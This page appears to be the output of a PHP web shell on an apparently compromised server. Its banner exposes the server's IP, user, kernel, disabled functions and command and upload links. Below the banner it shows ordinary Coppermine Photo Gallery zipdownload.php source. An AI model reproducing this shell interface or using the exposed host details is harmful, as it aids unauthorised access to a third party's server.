|
Server IP : 193.34.145.200 / Your IP : 216.73.216.82 Web Server : Apache System : Linux m2794.contaboserver.net 3.10.0-962.3.2.lve1.5.87.el7.x86_64 #1 SMP Tue Jan 28 09:38:56 UTC 2025 x86_64 User : adm4397 ( 1176) PHP Version : 8.2.28 Disable Function : show_source, system, shell_exec, passthru, popen, proc_open MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0755) : /home/adm4397/www/bilder/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*************************
Coppermine Photo Gallery
************************
Copyright (c) 2003-2009 Coppermine Dev Team
v1.1 originally written by Gregory DEMAR
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3
as published by the Free Software Foundation.
********************************************
Coppermine version: 1.4.25
$HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/zipdownload.php $
$Revision: 5997 $
$Author: gaugau $
$Date: 2009-05-26 08:43:24 +0200 (Di, 26 Mai 2009) $
**********************************************/
define('IN_COPPERMINE', true);
define('THUMBNAILS_PHP', true);
define('INDEX_PHP', true);
require('include/init.inc.php');
include ( 'include/archive.php');
if ($CONFIG['enable_zipdownload'] != 1) {
//someone has entered the url manually, while the admin has disabled zipdownload
pageheader($lang_error);
starttable('-2', $lang_error);
print <<<EOT
<tr>
<td align="center" class="tableb">
{$lang_errors['perm_denied']}
</td>
</tr>
EOT;
endtable();
pagefooter();
ob_end_flush();
} else {
// zipdownload allowed, go ahead...
$filelist= array();
if (count($FAVPICS)>0){
$favs = implode(",",$FAVPICS);
$select_columns = 'filepath,filename';
$result = cpg_db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");
$rowset = cpg_db_fetch_rowset($result);
foreach ($rowset as $key => $row){
$filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];
}
}
$cwd = "./{$CONFIG['fullpath']}";
$zip = new zip_file('pictures.zip');
$zip->set_options(array('basedir' => $cwd, 'inmemory' => 1, 'recurse' => 0, 'storepaths' => 0));
$zip->add_files($filelist);
$zip->create_archive();
ob_end_clean();
$zip->download_file();
}
?>